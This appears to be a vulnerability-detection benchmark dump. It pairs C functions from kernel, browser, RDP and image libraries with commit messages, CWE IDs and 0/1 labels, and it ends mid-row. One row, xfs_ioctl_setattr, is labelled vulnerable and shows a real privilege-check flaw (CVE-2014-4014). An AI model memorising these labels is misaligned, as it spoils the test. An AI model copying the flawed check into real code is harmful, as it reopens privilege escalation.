instruction
stringclasses 1
value | input
stringlengths 64
129k
| output
int64 0
1
| __index_level_0__
int64 0
30k
|
|---|---|---|---|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static BOOL update_read_bitmap_data(rdpUpdate* update, wStream* s,
BITMAP_DATA* bitmapData)
{
if (Stream_GetRemainingLength(s) < 18)
return FALSE;
Stream_Read_UINT16(s, bitmapData->destLeft);
Stream_Read_UINT16(s, bitmapData->destTop);
Stream_Read_UINT16(s, bitmapData->destRight);
Stream_Read_UINT16(s, bitmapData->destBottom);
Stream_Read_UINT16(s, bitmapData->width);
Stream_Read_UINT16(s, bitmapData->height);
Stream_Read_UINT16(s, bitmapData->bitsPerPixel);
Stream_Read_UINT16(s, bitmapData->flags);
Stream_Read_UINT16(s, bitmapData->bitmapLength);
if (bitmapData->flags & BITMAP_COMPRESSION)
{
if (!(bitmapData->flags & NO_BITMAP_COMPRESSION_HDR))
{
Stream_Read_UINT16(s,
bitmapData->cbCompFirstRowSize); /* cbCompFirstRowSize (2 bytes) */
Stream_Read_UINT16(s,
bitmapData->cbCompMainBodySize); /* cbCompMainBodySize (2 bytes) */
Stream_Read_UINT16(s, bitmapData->cbScanWidth); /* cbScanWidth (2 bytes) */
Stream_Read_UINT16(s,
bitmapData->cbUncompressedSize); /* cbUncompressedSize (2 bytes) */
bitmapData->bitmapLength = bitmapData->cbCompMainBodySize;
}
bitmapData->compressed = TRUE;
}
else
bitmapData->compressed = FALSE;
if (Stream_GetRemainingLength(s) < bitmapData->bitmapLength)
return FALSE;
if (bitmapData->bitmapLength > 0)
{
bitmapData->bitmapDataStream = malloc(bitmapData->bitmapLength);
if (!bitmapData->bitmapDataStream)
return FALSE;
memcpy(bitmapData->bitmapDataStream, Stream_Pointer(s), bitmapData->bitmapLength);
Stream_Seek(s, bitmapData->bitmapLength);
}
return TRUE;
}
Commit Message: Fixed CVE-2018-8786
Thanks to Eyal Itkin from Check Point Software Technologies.
CWE ID: CWE-119
| 0
| 5,018
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int cx24116_load_firmware(struct dvb_frontend *fe,
const struct firmware *fw)
{
struct cx24116_state *state = fe->demodulator_priv;
struct cx24116_cmd cmd;
int i, ret, len, max, remaining;
unsigned char vers[4];
dprintk("%s\n", __func__);
dprintk("Firmware is %zu bytes (%02x %02x .. %02x %02x)\n",
fw->size,
fw->data[0],
fw->data[1],
fw->data[fw->size-2],
fw->data[fw->size-1]);
/* Toggle 88x SRST pin to reset demod */
if (state->config->reset_device)
state->config->reset_device(fe);
/* Begin the firmware load process */
/* Prepare the demod, load the firmware, cleanup after load */
/* Init PLL */
cx24116_writereg(state, 0xE5, 0x00);
cx24116_writereg(state, 0xF1, 0x08);
cx24116_writereg(state, 0xF2, 0x13);
/* Start PLL */
cx24116_writereg(state, 0xe0, 0x03);
cx24116_writereg(state, 0xe0, 0x00);
/* Unknown */
cx24116_writereg(state, CX24116_REG_CLKDIV, 0x46);
cx24116_writereg(state, CX24116_REG_RATEDIV, 0x00);
/* Unknown */
cx24116_writereg(state, 0xF0, 0x03);
cx24116_writereg(state, 0xF4, 0x81);
cx24116_writereg(state, 0xF5, 0x00);
cx24116_writereg(state, 0xF6, 0x00);
/* Split firmware to the max I2C write len and write.
* Writes whole firmware as one write when i2c_wr_max is set to 0. */
if (state->config->i2c_wr_max)
max = state->config->i2c_wr_max;
else
max = INT_MAX; /* enough for 32k firmware */
for (remaining = fw->size; remaining > 0; remaining -= max - 1) {
len = remaining;
if (len > max - 1)
len = max - 1;
cx24116_writeregN(state, 0xF7, &fw->data[fw->size - remaining],
len);
}
cx24116_writereg(state, 0xF4, 0x10);
cx24116_writereg(state, 0xF0, 0x00);
cx24116_writereg(state, 0xF8, 0x06);
/* Firmware CMD 10: VCO config */
cmd.args[0x00] = CMD_SET_VCO;
cmd.args[0x01] = 0x05;
cmd.args[0x02] = 0xdc;
cmd.args[0x03] = 0xda;
cmd.args[0x04] = 0xae;
cmd.args[0x05] = 0xaa;
cmd.args[0x06] = 0x04;
cmd.args[0x07] = 0x9d;
cmd.args[0x08] = 0xfc;
cmd.args[0x09] = 0x06;
cmd.len = 0x0a;
ret = cx24116_cmd_execute(fe, &cmd);
if (ret != 0)
return ret;
cx24116_writereg(state, CX24116_REG_SSTATUS, 0x00);
/* Firmware CMD 14: Tuner config */
cmd.args[0x00] = CMD_TUNERINIT;
cmd.args[0x01] = 0x00;
cmd.args[0x02] = 0x00;
cmd.len = 0x03;
ret = cx24116_cmd_execute(fe, &cmd);
if (ret != 0)
return ret;
cx24116_writereg(state, 0xe5, 0x00);
/* Firmware CMD 13: MPEG config */
cmd.args[0x00] = CMD_MPEGCONFIG;
cmd.args[0x01] = 0x01;
cmd.args[0x02] = 0x75;
cmd.args[0x03] = 0x00;
if (state->config->mpg_clk_pos_pol)
cmd.args[0x04] = state->config->mpg_clk_pos_pol;
else
cmd.args[0x04] = 0x02;
cmd.args[0x05] = 0x00;
cmd.len = 0x06;
ret = cx24116_cmd_execute(fe, &cmd);
if (ret != 0)
return ret;
/* Firmware CMD 35: Get firmware version */
cmd.args[0x00] = CMD_UPDFWVERS;
cmd.len = 0x02;
for (i = 0; i < 4; i++) {
cmd.args[0x01] = i;
ret = cx24116_cmd_execute(fe, &cmd);
if (ret != 0)
return ret;
vers[i] = cx24116_readreg(state, CX24116_REG_MAILBOX);
}
printk(KERN_INFO "%s: FW version %i.%i.%i.%i\n", __func__,
vers[0], vers[1], vers[2], vers[3]);
return 0;
}
Commit Message: [media] cx24116: fix a buffer overflow when checking userspace params
The maximum size for a DiSEqC command is 6, according to the
userspace API. However, the code allows to write up much more values:
drivers/media/dvb-frontends/cx24116.c:983 cx24116_send_diseqc_msg() error: buffer overflow 'd->msg' 6 <= 23
Cc: stable@vger.kernel.org
Signed-off-by: Mauro Carvalho Chehab <mchehab@osg.samsung.com>
CWE ID: CWE-119
| 0
| 28,370
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static struct sem_undo *lookup_undo(struct sem_undo_list *ulp, int semid)
{
struct sem_undo *un;
assert_spin_locked(&ulp->lock);
un = __lookup_undo(ulp, semid);
if (un) {
list_del_rcu(&un->list_proc);
list_add_rcu(&un->list_proc, &ulp->list_proc);
}
return un;
}
Commit Message: ipc,sem: fine grained locking for semtimedop
Introduce finer grained locking for semtimedop, to handle the common case
of a program wanting to manipulate one semaphore from an array with
multiple semaphores.
If the call is a semop manipulating just one semaphore in an array with
multiple semaphores, only take the lock for that semaphore itself.
If the call needs to manipulate multiple semaphores, or another caller is
in a transaction that manipulates multiple semaphores, the sem_array lock
is taken, as well as all the locks for the individual semaphores.
On a 24 CPU system, performance numbers with the semop-multi
test with N threads and N semaphores, look like this:
vanilla Davidlohr's Davidlohr's + Davidlohr's +
threads patches rwlock patches v3 patches
10 610652 726325 1783589 2142206
20 341570 365699 1520453 1977878
30 288102 307037 1498167 2037995
40 290714 305955 1612665 2256484
50 288620 312890 1733453 2650292
60 289987 306043 1649360 2388008
70 291298 306347 1723167 2717486
80 290948 305662 1729545 2763582
90 290996 306680 1736021 2757524
100 292243 306700 1773700 3059159
[davidlohr.bueso@hp.com: do not call sem_lock when bogus sma]
[davidlohr.bueso@hp.com: make refcounter atomic]
Signed-off-by: Rik van Riel <riel@redhat.com>
Suggested-by: Linus Torvalds <torvalds@linux-foundation.org>
Acked-by: Davidlohr Bueso <davidlohr.bueso@hp.com>
Cc: Chegu Vinod <chegu_vinod@hp.com>
Cc: Jason Low <jason.low2@hp.com>
Reviewed-by: Michel Lespinasse <walken@google.com>
Cc: Peter Hurley <peter@hurleysoftware.com>
Cc: Stanislav Kinsbursky <skinsbursky@parallels.com>
Tested-by: Emmanuel Benisty <benisty.e@gmail.com>
Tested-by: Sedat Dilek <sedat.dilek@gmail.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-189
| 0
| 25,290
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WebContentsImpl::DidProceedOnInterstitial() {
DCHECK(!(ShowingInterstitialPage() &&
GetRenderManager()->interstitial_page()->pause_throbber()));
if (ShowingInterstitialPage() && frame_tree_.IsLoading())
LoadingStateChanged(true, true, nullptr);
}
Commit Message: If JavaScript shows a dialog, cause the page to lose fullscreen.
BUG=670135, 550017, 726761, 728276
Review-Url: https://codereview.chromium.org/2906133004
Cr-Commit-Position: refs/heads/master@{#478884}
CWE ID: CWE-20
| 0
| 29,003
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void LayerTreeHost::SetNeedsDisplayOnAllLayers() {
std::stack<Layer*> layer_stack;
layer_stack.push(root_layer());
while (!layer_stack.empty()) {
Layer* current_layer = layer_stack.top();
layer_stack.pop();
current_layer->SetNeedsDisplay();
for (unsigned int i = 0; i < current_layer->children().size(); i++) {
layer_stack.push(current_layer->child_at(i));
}
}
}
Commit Message: Removed pinch viewport scroll offset distribution
The associated change in Blink makes the pinch viewport a proper
ScrollableArea meaning the normal path for synchronizing layer scroll
offsets is used.
This is a 2 sided patch, the other CL:
https://codereview.chromium.org/199253002/
BUG=349941
Review URL: https://codereview.chromium.org/210543002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@260105 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
| 0
| 19,856
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline bool vif_event_equals(struct brcmf_cfg80211_vif_event *event,
u8 action)
{
u8 evt_action;
spin_lock(&event->vif_event_lock);
evt_action = event->action;
spin_unlock(&event->vif_event_lock);
return evt_action == action;
}
Commit Message: brcmfmac: avoid potential stack overflow in brcmf_cfg80211_start_ap()
User-space can choose to omit NL80211_ATTR_SSID and only provide raw
IE TLV data. When doing so it can provide SSID IE with length exceeding
the allowed size. The driver further processes this IE copying it
into a local variable without checking the length. Hence stack can be
corrupted and used as exploit.
Cc: stable@vger.kernel.org # v4.7
Reported-by: Daxing Guo <freener.gdx@gmail.com>
Reviewed-by: Hante Meuleman <hante.meuleman@broadcom.com>
Reviewed-by: Pieter-Paul Giesberts <pieter-paul.giesberts@broadcom.com>
Reviewed-by: Franky Lin <franky.lin@broadcom.com>
Signed-off-by: Arend van Spriel <arend.vanspriel@broadcom.com>
Signed-off-by: Kalle Valo <kvalo@codeaurora.org>
CWE ID: CWE-119
| 0
| 16,247
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool RenderViewImpl::RunJavaScriptMessage(JavaScriptMessageType type,
const string16& message,
const string16& default_value,
const GURL& frame_url,
string16* result) {
bool success = false;
string16 result_temp;
if (!result)
result = &result_temp;
SendAndRunNestedMessageLoop(new ViewHostMsg_RunJavaScriptMessage(
routing_id_, message, default_value, frame_url, type, &success, result));
return success;
}
Commit Message: Let the browser handle external navigations from DevTools.
BUG=180555
Review URL: https://chromiumcodereview.appspot.com/12531004
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@186793 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264
| 0
| 4,772
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: R_API void r_bin_java_classes_free(void /*RBinClass*/ *k) {
RBinClass *klass = k;
if (klass) {
r_list_free (klass->methods);
r_list_free (klass->fields);
free (klass->name);
free (klass->super);
free (klass->visibility_str);
free (klass);
}
}
Commit Message: Fix #10498 - Crash in fuzzed java file
CWE ID: CWE-125
| 0
| 16,880
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int alignfile(struct file *file, loff_t *foffset)
{
static const char buf[4] = { 0, };
DUMP_WRITE(buf, roundup(*foffset, 4) - *foffset, foffset);
return 1;
}
Commit Message: regset: Prevent null pointer reference on readonly regsets
The regset common infrastructure assumed that regsets would always
have .get and .set methods, but not necessarily .active methods.
Unfortunately people have since written regsets without .set methods.
Rather than putting in stub functions everywhere, handle regsets with
null .get or .set methods explicitly.
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
Reviewed-by: Oleg Nesterov <oleg@redhat.com>
Acked-by: Roland McGrath <roland@hack.frob.com>
Cc: <stable@vger.kernel.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID:
| 0
| 12,572
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int piv_check_sw(struct sc_card *card, unsigned int sw1, unsigned int sw2)
{
struct sc_card_driver *iso_drv = sc_get_iso7816_driver();
int r;
piv_private_data_t * priv = PIV_DATA(card);
/* may be called before piv_init has allocated priv */
if (priv) {
/* need to save sw1 and sw2 if trying to determine card_state from pin_cmd */
if (priv->pin_cmd_verify) {
priv->pin_cmd_verify_sw1 = sw1;
priv->pin_cmd_verify_sw2 = sw2;
} else {
/* a command has completed and it is not verify */
/* If we are in a context_specific sequence, unlock */
if (priv->context_specific) {
sc_log(card->ctx,"Clearing CONTEXT_SPECIFIC lock");
priv->context_specific = 0;
sc_unlock(card);
}
}
if (priv->card_issues & CI_VERIFY_630X) {
/* Handle the Yubikey NEO or any other PIV card which returns in response to a verify
* 63 0X rather than 63 CX indicate the number of remaining PIN retries.
* Perhaps they misread the spec and thought 0xCX meant "clear" or "don't care", not a literal 0xC!
*/
if (priv->pin_cmd_verify && sw1 == 0x63U) {
priv->pin_cmd_verify_sw2 |= 0xC0U; /* make it easier to test in other code */
if ((sw2 & ~0x0fU) == 0x00U) {
sc_log(card->ctx, "Verification failed (remaining tries: %d)", (sw2 & 0x0f));
return SC_ERROR_PIN_CODE_INCORRECT;
/* this is what the iso_check_sw returns for 63 C0 */
}
}
}
}
r = iso_drv->ops->check_sw(card, sw1, sw2);
return r;
}
Commit Message: fixed out of bounds reads
Thanks to Eric Sesterhenn from X41 D-SEC GmbH
for reporting and suggesting security fixes.
CWE ID: CWE-125
| 0
| 24,849
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void blk_queue_bypass_start(struct request_queue *q)
{
WARN_ON_ONCE(q->mq_ops);
spin_lock_irq(q->queue_lock);
q->bypass_depth++;
queue_flag_set(QUEUE_FLAG_BYPASS, q);
spin_unlock_irq(q->queue_lock);
/*
* Queues start drained. Skip actual draining till init is
* complete. This avoids lenghty delays during queue init which
* can happen many times during boot.
*/
if (blk_queue_init_done(q)) {
spin_lock_irq(q->queue_lock);
__blk_drain_queue(q, false);
spin_unlock_irq(q->queue_lock);
/* ensure blk_queue_bypass() is %true inside RCU read lock */
synchronize_rcu();
}
}
Commit Message: block: blk_init_allocated_queue() set q->fq as NULL in the fail case
We find the memory use-after-free issue in __blk_drain_queue()
on the kernel 4.14. After read the latest kernel 4.18-rc6 we
think it has the same problem.
Memory is allocated for q->fq in the blk_init_allocated_queue().
If the elevator init function called with error return, it will
run into the fail case to free the q->fq.
Then the __blk_drain_queue() uses the same memory after the free
of the q->fq, it will lead to the unpredictable event.
The patch is to set q->fq as NULL in the fail case of
blk_init_allocated_queue().
Fixes: commit 7c94e1c157a2 ("block: introduce blk_flush_queue to drive flush machinery")
Cc: <stable@vger.kernel.org>
Reviewed-by: Ming Lei <ming.lei@redhat.com>
Reviewed-by: Bart Van Assche <bart.vanassche@wdc.com>
Signed-off-by: xiao jin <jin.xiao@intel.com>
Signed-off-by: Jens Axboe <axboe@kernel.dk>
CWE ID: CWE-416
| 0
| 26,923
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void add_missing(struct chfn_control *ctl)
{
ctl->newf.full_name = find_field(ctl->newf.full_name, ctl->oldf.full_name);
ctl->newf.office = find_field(ctl->newf.office, ctl->oldf.office);
ctl->newf.office_phone = find_field(ctl->newf.office_phone, ctl->oldf.office_phone);
ctl->newf.home_phone = find_field(ctl->newf.home_phone, ctl->oldf.home_phone);
ctl->newf.other = find_field(ctl->newf.other, ctl->oldf.other);
printf("\n");
}
Commit Message: chsh, chfn, vipw: fix filenames collision
The utils when compiled WITHOUT libuser then mkostemp()ing
"/etc/%s.XXXXXX" where the filename prefix is argv[0] basename.
An attacker could repeatedly execute the util with modified argv[0]
and after many many attempts mkostemp() may generate suffix which
makes sense. The result maybe temporary file with name like rc.status
ld.so.preload or krb5.keytab, etc.
Note that distros usually use libuser based ch{sh,fn} or stuff from
shadow-utils.
It's probably very minor security bug.
Addresses: CVE-2015-5224
Signed-off-by: Karel Zak <kzak@redhat.com>
CWE ID: CWE-264
| 0
| 27,458
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static toff_t tiff_seekproc(thandle_t clientdata, toff_t offset, int from)
{
tiff_handle *th = (tiff_handle *)clientdata;
gdIOCtx *ctx = th->ctx;
int result;
switch(from) {
default:
case SEEK_SET:
/* just use offset */
break;
case SEEK_END:
/* invert offset, so that it is from start, not end as supplied */
offset = th->size + offset;
break;
case SEEK_CUR:
/* add current position to translate it to 'from start',
* not from durrent as supplied
*/
offset += th->pos;
break;
}
/* now, move pos in both io context and buf */
if((result = (ctx->seek)(ctx, offset))) {
th->pos = offset;
}
return result ? offset : (toff_t)-1;
}
Commit Message: Fix invalid read in gdImageCreateFromTiffPtr()
tiff_invalid_read.tiff is corrupt, and causes an invalid read in
gdImageCreateFromTiffPtr(), but not in gdImageCreateFromTiff(). The culprit
is dynamicGetbuf(), which doesn't check for out-of-bound reads. In this case,
dynamicGetbuf() is called with a negative dp->pos, but also positive buffer
overflows have to be handled, in which case 0 has to be returned (cf. commit
75e29a9).
Fixing dynamicGetbuf() exhibits that the corrupt TIFF would still create
the image, because the return value of TIFFReadRGBAImage() is not checked.
We do that, and let createFromTiffRgba() fail if TIFFReadRGBAImage() fails.
This issue had been reported by Ibrahim El-Sayed to security@libgd.org.
CVE-2016-6911
CWE ID: CWE-125
| 0
| 9,369
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: dtls1_hm_fragment_free(hm_fragment *frag)
{
if (frag->msg_header.is_ccs)
{
EVP_CIPHER_CTX_free(frag->msg_header.saved_retransmit_state.enc_write_ctx);
EVP_MD_CTX_destroy(frag->msg_header.saved_retransmit_state.write_hash);
}
if (frag->fragment) OPENSSL_free(frag->fragment);
if (frag->reassembly) OPENSSL_free(frag->reassembly);
OPENSSL_free(frag);
}
Commit Message:
CWE ID: CWE-399
| 0
| 29,848
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: RendererSchedulerImpl::AnyThread::AnyThread(
RendererSchedulerImpl* renderer_scheduler_impl)
: awaiting_touch_start_response(
false,
"RendererScheduler.AwaitingTouchstartResponse",
renderer_scheduler_impl,
&renderer_scheduler_impl->tracing_controller_,
YesNoStateToString),
in_idle_period(
false,
"RendererScheduler.InIdlePeriod",
renderer_scheduler_impl,
&renderer_scheduler_impl->tracing_controller_,
YesNoStateToString),
begin_main_frame_on_critical_path(
false,
"RendererScheduler.BeginMainFrameOnCriticalPath",
renderer_scheduler_impl,
&renderer_scheduler_impl->tracing_controller_,
YesNoStateToString),
last_gesture_was_compositor_driven(
false,
"RendererScheduler.LastGestureWasCompositorDriven",
renderer_scheduler_impl,
&renderer_scheduler_impl->tracing_controller_,
YesNoStateToString),
default_gesture_prevented(
true,
"RendererScheduler.DefaultGesturePrevented",
renderer_scheduler_impl,
&renderer_scheduler_impl->tracing_controller_,
YesNoStateToString),
have_seen_a_potentially_blocking_gesture(
false,
"RendererScheduler.HaveSeenPotentiallyBlockingGesture",
renderer_scheduler_impl,
&renderer_scheduler_impl->tracing_controller_,
YesNoStateToString),
waiting_for_meaningful_paint(
false,
"RendererScheduler.WaitingForMeaningfulPaint",
renderer_scheduler_impl,
&renderer_scheduler_impl->tracing_controller_,
YesNoStateToString),
have_seen_input_since_navigation(
false,
"RendererScheduler.HaveSeenInputSinceNavigation",
renderer_scheduler_impl,
&renderer_scheduler_impl->tracing_controller_,
YesNoStateToString) {}
Commit Message: [scheduler] Remove implicit fallthrough in switch
Bail out early when a condition in the switch is fulfilled.
This does not change behaviour due to RemoveTaskObserver being no-op when
the task observer is not present in the list.
R=thakis@chromium.org
Bug: 177475
Change-Id: Ibc7772c79f8a8c8a1d63a997dabe1efda5d3a7bd
Reviewed-on: https://chromium-review.googlesource.com/891187
Reviewed-by: Nico Weber <thakis@chromium.org>
Commit-Queue: Alexander Timin <altimin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#532649}
CWE ID: CWE-119
| 0
| 28,793
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: xfs_ioctl_setattr(
xfs_inode_t *ip,
struct fsxattr *fa,
int mask)
{
struct xfs_mount *mp = ip->i_mount;
struct xfs_trans *tp;
unsigned int lock_flags = 0;
struct xfs_dquot *udqp = NULL;
struct xfs_dquot *pdqp = NULL;
struct xfs_dquot *olddquot = NULL;
int code;
trace_xfs_ioctl_setattr(ip);
if (mp->m_flags & XFS_MOUNT_RDONLY)
return XFS_ERROR(EROFS);
if (XFS_FORCED_SHUTDOWN(mp))
return XFS_ERROR(EIO);
/*
* Disallow 32bit project ids when projid32bit feature is not enabled.
*/
if ((mask & FSX_PROJID) && (fa->fsx_projid > (__uint16_t)-1) &&
!xfs_sb_version_hasprojid32bit(&ip->i_mount->m_sb))
return XFS_ERROR(EINVAL);
/*
* If disk quotas is on, we make sure that the dquots do exist on disk,
* before we start any other transactions. Trying to do this later
* is messy. We don't care to take a readlock to look at the ids
* in inode here, because we can't hold it across the trans_reserve.
* If the IDs do change before we take the ilock, we're covered
* because the i_*dquot fields will get updated anyway.
*/
if (XFS_IS_QUOTA_ON(mp) && (mask & FSX_PROJID)) {
code = xfs_qm_vop_dqalloc(ip, ip->i_d.di_uid,
ip->i_d.di_gid, fa->fsx_projid,
XFS_QMOPT_PQUOTA, &udqp, NULL, &pdqp);
if (code)
return code;
}
/*
* For the other attributes, we acquire the inode lock and
* first do an error checking pass.
*/
tp = xfs_trans_alloc(mp, XFS_TRANS_SETATTR_NOT_SIZE);
code = xfs_trans_reserve(tp, &M_RES(mp)->tr_ichange, 0, 0);
if (code)
goto error_return;
lock_flags = XFS_ILOCK_EXCL;
xfs_ilock(ip, lock_flags);
/*
* CAP_FOWNER overrides the following restrictions:
*
* The user ID of the calling process must be equal
* to the file owner ID, except in cases where the
* CAP_FSETID capability is applicable.
*/
if (!inode_owner_or_capable(VFS_I(ip))) {
code = XFS_ERROR(EPERM);
goto error_return;
}
/*
* Do a quota reservation only if projid is actually going to change.
* Only allow changing of projid from init_user_ns since it is a
* non user namespace aware identifier.
*/
if (mask & FSX_PROJID) {
if (current_user_ns() != &init_user_ns) {
code = XFS_ERROR(EINVAL);
goto error_return;
}
if (XFS_IS_QUOTA_RUNNING(mp) &&
XFS_IS_PQUOTA_ON(mp) &&
xfs_get_projid(ip) != fa->fsx_projid) {
ASSERT(tp);
code = xfs_qm_vop_chown_reserve(tp, ip, udqp, NULL,
pdqp, capable(CAP_FOWNER) ?
XFS_QMOPT_FORCE_RES : 0);
if (code) /* out of quota */
goto error_return;
}
}
if (mask & FSX_EXTSIZE) {
/*
* Can't change extent size if any extents are allocated.
*/
if (ip->i_d.di_nextents &&
((ip->i_d.di_extsize << mp->m_sb.sb_blocklog) !=
fa->fsx_extsize)) {
code = XFS_ERROR(EINVAL); /* EFBIG? */
goto error_return;
}
/*
* Extent size must be a multiple of the appropriate block
* size, if set at all. It must also be smaller than the
* maximum extent size supported by the filesystem.
*
* Also, for non-realtime files, limit the extent size hint to
* half the size of the AGs in the filesystem so alignment
* doesn't result in extents larger than an AG.
*/
if (fa->fsx_extsize != 0) {
xfs_extlen_t size;
xfs_fsblock_t extsize_fsb;
extsize_fsb = XFS_B_TO_FSB(mp, fa->fsx_extsize);
if (extsize_fsb > MAXEXTLEN) {
code = XFS_ERROR(EINVAL);
goto error_return;
}
if (XFS_IS_REALTIME_INODE(ip) ||
((mask & FSX_XFLAGS) &&
(fa->fsx_xflags & XFS_XFLAG_REALTIME))) {
size = mp->m_sb.sb_rextsize <<
mp->m_sb.sb_blocklog;
} else {
size = mp->m_sb.sb_blocksize;
if (extsize_fsb > mp->m_sb.sb_agblocks / 2) {
code = XFS_ERROR(EINVAL);
goto error_return;
}
}
if (fa->fsx_extsize % size) {
code = XFS_ERROR(EINVAL);
goto error_return;
}
}
}
if (mask & FSX_XFLAGS) {
/*
* Can't change realtime flag if any extents are allocated.
*/
if ((ip->i_d.di_nextents || ip->i_delayed_blks) &&
(XFS_IS_REALTIME_INODE(ip)) !=
(fa->fsx_xflags & XFS_XFLAG_REALTIME)) {
code = XFS_ERROR(EINVAL); /* EFBIG? */
goto error_return;
}
/*
* If realtime flag is set then must have realtime data.
*/
if ((fa->fsx_xflags & XFS_XFLAG_REALTIME)) {
if ((mp->m_sb.sb_rblocks == 0) ||
(mp->m_sb.sb_rextsize == 0) ||
(ip->i_d.di_extsize % mp->m_sb.sb_rextsize)) {
code = XFS_ERROR(EINVAL);
goto error_return;
}
}
/*
* Can't modify an immutable/append-only file unless
* we have appropriate permission.
*/
if ((ip->i_d.di_flags &
(XFS_DIFLAG_IMMUTABLE|XFS_DIFLAG_APPEND) ||
(fa->fsx_xflags &
(XFS_XFLAG_IMMUTABLE | XFS_XFLAG_APPEND))) &&
!capable(CAP_LINUX_IMMUTABLE)) {
code = XFS_ERROR(EPERM);
goto error_return;
}
}
xfs_trans_ijoin(tp, ip, 0);
/*
* Change file ownership. Must be the owner or privileged.
*/
if (mask & FSX_PROJID) {
/*
* CAP_FSETID overrides the following restrictions:
*
* The set-user-ID and set-group-ID bits of a file will be
* cleared upon successful return from chown()
*/
if ((ip->i_d.di_mode & (S_ISUID|S_ISGID)) &&
!inode_capable(VFS_I(ip), CAP_FSETID))
ip->i_d.di_mode &= ~(S_ISUID|S_ISGID);
/*
* Change the ownerships and register quota modifications
* in the transaction.
*/
if (xfs_get_projid(ip) != fa->fsx_projid) {
if (XFS_IS_QUOTA_RUNNING(mp) && XFS_IS_PQUOTA_ON(mp)) {
olddquot = xfs_qm_vop_chown(tp, ip,
&ip->i_pdquot, pdqp);
}
xfs_set_projid(ip, fa->fsx_projid);
/*
* We may have to rev the inode as well as
* the superblock version number since projids didn't
* exist before DINODE_VERSION_2 and SB_VERSION_NLINK.
*/
if (ip->i_d.di_version == 1)
xfs_bump_ino_vers2(tp, ip);
}
}
if (mask & FSX_EXTSIZE)
ip->i_d.di_extsize = fa->fsx_extsize >> mp->m_sb.sb_blocklog;
if (mask & FSX_XFLAGS) {
xfs_set_diflags(ip, fa->fsx_xflags);
xfs_diflags_to_linux(ip);
}
xfs_trans_ichgtime(tp, ip, XFS_ICHGTIME_CHG);
xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE);
XFS_STATS_INC(xs_ig_attrchg);
/*
* If this is a synchronous mount, make sure that the
* transaction goes to disk before returning to the user.
* This is slightly sub-optimal in that truncates require
* two sync transactions instead of one for wsync filesystems.
* One for the truncate and one for the timestamps since we
* don't want to change the timestamps unless we're sure the
* truncate worked. Truncates are less than 1% of the laddis
* mix so this probably isn't worth the trouble to optimize.
*/
if (mp->m_flags & XFS_MOUNT_WSYNC)
xfs_trans_set_sync(tp);
code = xfs_trans_commit(tp, 0);
xfs_iunlock(ip, lock_flags);
/*
* Release any dquot(s) the inode had kept before chown.
*/
xfs_qm_dqrele(olddquot);
xfs_qm_dqrele(udqp);
xfs_qm_dqrele(pdqp);
return code;
error_return:
xfs_qm_dqrele(udqp);
xfs_qm_dqrele(pdqp);
xfs_trans_cancel(tp, 0);
if (lock_flags)
xfs_iunlock(ip, lock_flags);
return code;
}
Commit Message: fs,userns: Change inode_capable to capable_wrt_inode_uidgid
The kernel has no concept of capabilities with respect to inodes; inodes
exist independently of namespaces. For example, inode_capable(inode,
CAP_LINUX_IMMUTABLE) would be nonsense.
This patch changes inode_capable to check for uid and gid mappings and
renames it to capable_wrt_inode_uidgid, which should make it more
obvious what it does.
Fixes CVE-2014-4014.
Cc: Theodore Ts'o <tytso@mit.edu>
Cc: Serge Hallyn <serge.hallyn@ubuntu.com>
Cc: "Eric W. Biederman" <ebiederm@xmission.com>
Cc: Dave Chinner <david@fromorbit.com>
Cc: stable@vger.kernel.org
Signed-off-by: Andy Lutomirski <luto@amacapital.net>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-264
| 1
| 15,231
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int kvm_arch_vcpu_ioctl_set_fpu(struct kvm_vcpu *vcpu, struct kvm_fpu *fpu)
{
struct fxregs_state *fxsave =
&vcpu->arch.guest_fpu.state.fxsave;
memcpy(fxsave->st_space, fpu->fpr, 128);
fxsave->cwd = fpu->fcw;
fxsave->swd = fpu->fsw;
fxsave->twd = fpu->ftwx;
fxsave->fop = fpu->last_opcode;
fxsave->rip = fpu->last_ip;
